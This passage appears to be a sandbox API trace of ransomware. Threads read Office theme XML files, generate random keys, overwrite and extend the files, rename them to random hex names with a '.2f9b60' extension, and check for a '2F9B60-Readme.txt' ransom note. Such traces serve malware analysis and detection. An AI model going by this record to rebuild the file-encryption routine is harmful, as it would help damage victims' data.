_Dest=0x420593e4, _Format="%c%c" | out: _Dest="7d") returned 2 [0200.111] sprintf (in: _Dest=0x420593e6, _Format="%c%c" | out: _Dest="b8") returned 2 [0200.111] sprintf (in: _Dest=0x420593e8, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.111] sprintf (in: _Dest=0x420593ea, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.112] sprintf (in: _Dest=0x420593ec, _Format="%c%c" | out: _Dest="66") returned 2 [0200.112] sprintf (in: _Dest=0x420593ee, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.112] sprintf (in: _Dest=0x420593f0, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.112] sprintf (in: _Dest=0x420593f2, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.112] sprintf (in: _Dest=0x420593f4, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.112] sprintf (in: _Dest=0x420593f6, _Format="%c%c" | out: _Dest="20") returned 2 [0200.112] sprintf (in: _Dest=0x420593f8, _Format="%c%c" | out: _Dest="24") returned 2 [0200.112] sprintf (in: _Dest=0x420593fa, _Format="%c%c" | out: _Dest="67") returned 2 [0200.112] sprintf (in: _Dest=0x420593fc, _Format="%c%c" | out: _Dest="6d") returned 2 [0200.112] sprintf (in: _Dest=0x420593fe, _Format="%c%c" | out: _Dest="52") returned 2 [0200.112] sprintf (in: _Dest=0x42059400, _Format="%c%c" | out: _Dest="62") returned 2 [0200.112] sprintf (in: _Dest=0x42059402, _Format="%c%c" | out: _Dest="40") returned 2 [0200.112] sprintf (in: _Dest=0x42059404, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.112] sprintf (in: _Dest=0x42059406, _Format="%c%c" | out: _Dest="16") returned 2 [0200.112] sprintf (in: _Dest=0x42059408, _Format="%c%c" | out: _Dest="b0") returned 2 [0200.112] sprintf (in: _Dest=0x4205940a, _Format="%c%c" | out: _Dest="fa") returned 2 [0200.112] RtlInitAnsiString (in: DestinationString=0x4048fde8, SourceString="d228274d443416e3032d7db8b72c664ea14ae72024676d526240fc16b0fa" | out: DestinationString="d228274d443416e3032d7db8b72c664ea14ae72024676d526240fc16b0fa") [0200.112] RtlAnsiStringToUnicodeString (in: DestinationString=0x4048fdb8, SourceString="d228274d443416e3032d7db8b72c664ea14ae72024676d526240fc16b0fa", AllocateDestinationString=1 | out: DestinationString="d228274d443416e3032d7db8b72c664ea14ae72024676d526240fc16b0fa") returned 0x0 [0200.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d9bf0 [0200.113] wcscat (in: _Dest=0x431ed0e0, _Source="d228274d443416e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e" [0200.113] wcscat (in: _Dest=0x431ed0e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e.2f9b60" [0200.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e.2f9b60", NtPathName=0x4048fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d228274d443416e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced0660 [0226.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0660) returned 1 [0226.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f6720) returned 1 [0226.379] NtQueryInformationFile (in: FileHandle=0x1788, IoStatusBlock=0x4048fdf8, FileInformation=0x4048fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4048fdf8, FileInformation=0x4048fe08) returned 0x0 [0226.379] NtSetInformationFile (FileHandle=0x1788, IoStatusBlock=0x4048fdf8, FileInformation=0x4048fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0231.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed0e0) returned 1 [0231.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9bf0) returned 1 [0231.010] FlushFileBuffers (hFile=0x1788) returned 1 [0238.237] CloseHandle (hObject=0x1788) returned 1 [0241.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad8c0 [0241.734] wcscpy (in: _Dest=0x202ad8c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0241.734] wcscat (in: _Dest=0x202ad8c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0241.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0241.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0241.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acfd0) returned 1 Thread: id = 1438 os_tid = 0x18cc [0119.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml")) returned 0x20 [0120.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml", dwFileAttributes=0x20) returned 1 [0120.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1058 [0120.984] GetFileSizeEx (in: hFile=0x1058, lpFileSize=0x3fdef6c0 | out: lpFileSize=0x3fdef6c0*=3711) returned 1 [0120.984] SetFilePointerEx (in: hFile=0x1058, liDistanceToMove=0xe7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.984] ReadFile (in: hFile=0x1058, lpBuffer=0x3fdef640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fdef688, lpOverlapped=0x0 | out: lpBuffer=0x3fdef640*, lpNumberOfBytesRead=0x3fdef688*=0x4, lpOverlapped=0x0) returned 1 [0121.433] SetFilePointerEx (in: hFile=0x1058, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8850 [0121.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0121.434] NtQuerySystemTime (in: CurrentTime=0x3fdef580 | out: CurrentTime=0x3fdef580*=132462177268354000) returned 0x0 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x405be712 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2ced164c [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x7989c076 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x21281dda [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x58d61e57 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x61b6a8fe [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2b2de66b [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x1def6104 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x678e9e53 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x76b2c34b [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2b7e10a9 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x389088bf [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2617a3d5 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x20b2576c [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x5c1f4a3 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2e1acf01 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x56f8d2c5 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x76383113 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x16281f15 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x48c7a962 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x7122d3db [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0xd3fc380 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2bb8bb56 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x250573c8 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x1471233e [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x1080660e [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x2a7f1a73 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x76c5cc37 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x419a413f [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x23058029 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x6b650025 [0121.434] RtlRandomEx (in: Seed=0x3fdef570 | out: Seed=0x3fdef570) returned 0x5c103c9d [0124.461] ReadFile (in: hFile=0x1058, lpBuffer=0x41b6a520, nNumberOfBytesToRead=0xe7f, lpNumberOfBytesRead=0x3fdef570, lpOverlapped=0x0 | out: lpBuffer=0x41b6a520*, lpNumberOfBytesRead=0x3fdef570*=0xe7f, lpOverlapped=0x0) returned 1 [0124.461] SetFilePointerEx (in: hFile=0x1058, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.461] WriteFile (in: hFile=0x1058, lpBuffer=0x1cef8680*, nNumberOfBytesToWrite=0xe7f, lpNumberOfBytesWritten=0x3fdef574, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesWritten=0x3fdef574*=0xe7f, lpOverlapped=0x0) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0124.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c60 [0124.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c60) returned 1 [0124.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0124.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6a520) returned 1 [0124.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504b10) returned 1 [0124.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262c60 [0124.526] SetFilePointerEx (in: hFile=0x1058, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.526] WriteFile (in: hFile=0x1058, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3fdef690, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3fdef690*=0x108, lpOverlapped=0x0) returned 1 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0124.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f50 [0124.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f50) returned 1 [0124.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda04f0 [0124.583] sprintf (in: _Dest=0x1cda04f0, _Format="%c%c" | out: _Dest="82") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04f2, _Format="%c%c" | out: _Dest="6c") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04f4, _Format="%c%c" | out: _Dest="17") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04f6, _Format="%c%c" | out: _Dest="4b") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04f8, _Format="%c%c" | out: _Dest="fb") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04fa, _Format="%c%c" | out: _Dest="47") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04fc, _Format="%c%c" | out: _Dest="cd") returned 2 [0124.584] sprintf (in: _Dest=0x1cda04fe, _Format="%c%c" | out: _Dest="de") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0500, _Format="%c%c" | out: _Dest="5f") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0502, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0504, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0506, _Format="%c%c" | out: _Dest="03") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0508, _Format="%c%c" | out: _Dest="e5") returned 2 [0124.584] sprintf (in: _Dest=0x1cda050a, _Format="%c%c" | out: _Dest="52") returned 2 [0124.584] sprintf (in: _Dest=0x1cda050c, _Format="%c%c" | out: _Dest="8a") returned 2 [0124.584] sprintf (in: _Dest=0x1cda050e, _Format="%c%c" | out: _Dest="18") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0510, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0512, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0514, _Format="%c%c" | out: _Dest="6d") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0516, _Format="%c%c" | out: _Dest="94") returned 2 [0124.584] sprintf (in: _Dest=0x1cda0518, _Format="%c%c" | out: _Dest="27") returned 2 [0124.584] sprintf (in: _Dest=0x1cda051a, _Format="%c%c" | out: _Dest="be") returned 2 [0124.584] RtlInitAnsiString (in: DestinationString=0x3fdef708, SourceString="826c174bfb47cdde5fd31b03e5528a18d7ce6d9427be" | out: DestinationString="826c174bfb47cdde5fd31b03e5528a18d7ce6d9427be") [0124.584] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fdef6d8, SourceString="826c174bfb47cdde5fd31b03e5528a18d7ce6d9427be", AllocateDestinationString=1 | out: DestinationString="826c174bfb47cdde5fd31b03e5528a18d7ce6d9427be") returned 0x0 [0124.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b8647d0 [0124.584] wcscat (in: _Dest=0x202ac580, _Source="826c174bfb4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4" [0124.584] wcscat (in: _Dest=0x202ac580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4.2f9b60" [0124.584] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4.2f9b60", NtPathName=0x3fdef6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\826c174bfb4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118d60 [0124.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0124.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0124.748] NtQueryInformationFile (in: FileHandle=0x1058, IoStatusBlock=0x3fdef718, FileInformation=0x3fdef728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fdef718, FileInformation=0x3fdef728) returned 0x0 [0124.748] NtSetInformationFile (FileHandle=0x1058, IoStatusBlock=0x3fdef718, FileInformation=0x3fdef728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac580) returned 1 [0124.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0124.760] FlushFileBuffers (hFile=0x1058) returned 1 [0124.764] CloseHandle (hObject=0x1058) returned 1 [0124.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac580 [0124.765] wcscpy (in: _Dest=0x202ac580, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.765] wcscat (in: _Dest=0x202ac580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac580) returned 1 [0124.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 Thread: id = 1439 os_tid = 0x18d0 [0119.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml")) returned 0x20 [0120.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml", dwFileAttributes=0x20) returned 1 [0120.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10a0 [0120.973] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x403ef940 | out: lpFileSize=0x403ef940*=3608) returned 1 [0120.973] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.974] ReadFile (in: hFile=0x10a0, lpBuffer=0x403ef8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x403ef908, lpOverlapped=0x0 | out: lpBuffer=0x403ef8c0*, lpNumberOfBytesRead=0x403ef908*=0x4, lpOverlapped=0x0) returned 1 [0121.456] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0121.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0121.456] NtQuerySystemTime (in: CurrentTime=0x403ef800 | out: CurrentTime=0x403ef800*=132462177268510000) returned 0x0 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0xdfb7653 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x479cfbf2 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x99cfcdd [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x5980750d [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x3ff8d810 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x72fbf526 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x7793f113 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x695e0d30 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x99517f6 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x20d37938 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x4da09245 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x35eb5df0 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x5ae68d79 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x55ee7223 [0121.456] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x753bf941 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x21281dda [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x48dd7df3 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x74e38751 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x357364dc [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x49e39186 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x5d4da44a [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x2b7e10a9 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x555fcd3b [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x235d546b [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x37f8dddf [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x56f8d2c5 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x7df1798d [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x36bf1f40 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x61f616d5 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x2dff0274 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x4979a256 [0121.457] RtlRandomEx (in: Seed=0x403ef7f0 | out: Seed=0x403ef7f0) returned 0x7793f113 [0124.463] ReadFile (in: hFile=0x10a0, lpBuffer=0x41b75950, nNumberOfBytesToRead=0xe18, lpNumberOfBytesRead=0x403ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x41b75950*, lpNumberOfBytesRead=0x403ef7f0*=0xe18, lpOverlapped=0x0) returned 1 [0124.463] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.463] WriteFile (in: hFile=0x10a0, lpBuffer=0x1cefc290*, nNumberOfBytesToWrite=0xe18, lpNumberOfBytesWritten=0x403ef7f4, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesWritten=0x403ef7f4*=0xe18, lpOverlapped=0x0) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0124.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0124.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260860) returned 1 [0124.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0124.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b75950) returned 1 [0124.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0124.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda0670 [0124.531] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.531] WriteFile (in: hFile=0x10a0, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x403ef910, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x403ef910*=0x10e, lpOverlapped=0x0) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81c0 [0124.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81c0) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1ced81c0 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0124.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84f0) returned 1 